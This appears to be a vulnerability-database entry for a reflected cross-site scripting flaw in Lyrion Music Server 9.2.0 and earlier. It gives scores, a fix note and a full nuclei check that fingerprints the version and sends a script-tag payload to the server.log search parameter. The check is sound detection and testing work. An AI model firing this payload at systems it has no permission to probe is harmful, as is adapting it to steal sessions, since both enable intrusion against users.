Browse / CVEs / CVE-2026-50230
CVE-2026-50230· CWE-79
Lyrion Music Server <= 9.2.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
0.4%likelihood of exploitation, next 30 days
35%of all CVEs are less likely
Readycheck to confirm it
Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.
Impact
Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing session data or performing actions on behalf of users.
Fix
Update to the latest version that patches this vulnerability.
How to confirm it
Send: POST /jsonrpc.js
Positive when: status_code == 200 and contains(body, "_version") and compare_versions(lmsversion, "<= 9.2.0")
Send: GET /server.log?search=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2026-50230 -u <target>
The full check
id: CVE-2026-50230
info:
name: Lyrion Music Server <= 9.2.0 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.
impact: |
Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing session data or performing actions on behalf of users.
remediation: |
Update to the latest version that patches this vulnerability.
reference:
- https://www.zeroscience.mk/#/advisories/ZSL-2026-5988
- https://nvd.nist.gov/vuln/detail/CVE-2026-50230
- https://www.lyrion.org
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-50230
epss-score: 0.00406
epss-percentile: 0.35217
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
fofa-query: title="Lyrion Music Server"
tags: cve,cve2026,lyrion,lms,xss,reflected,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /jsonrpc.js HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id":1,"method":"slim.request","params":[0,["version","?"]]}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "_version")'
- 'compare_versions(lmsversion, "<= 9.2.0")'
condition: and
internal: true
extractors:
- type: regex
name: lmsversion
part: body
regex:
- '"_version"\s*:\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
group: 1
internal: true
- raw:
- |
GET /server.log?search=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://www.zeroscience.mk/#/advisories/ZSL-2026-5988
- https://nvd.nist.gov/vuln/detail/CVE-2026-50230
- https://www.lyrion.org
Use this check only on systems you are authorised to test. Where the data comes from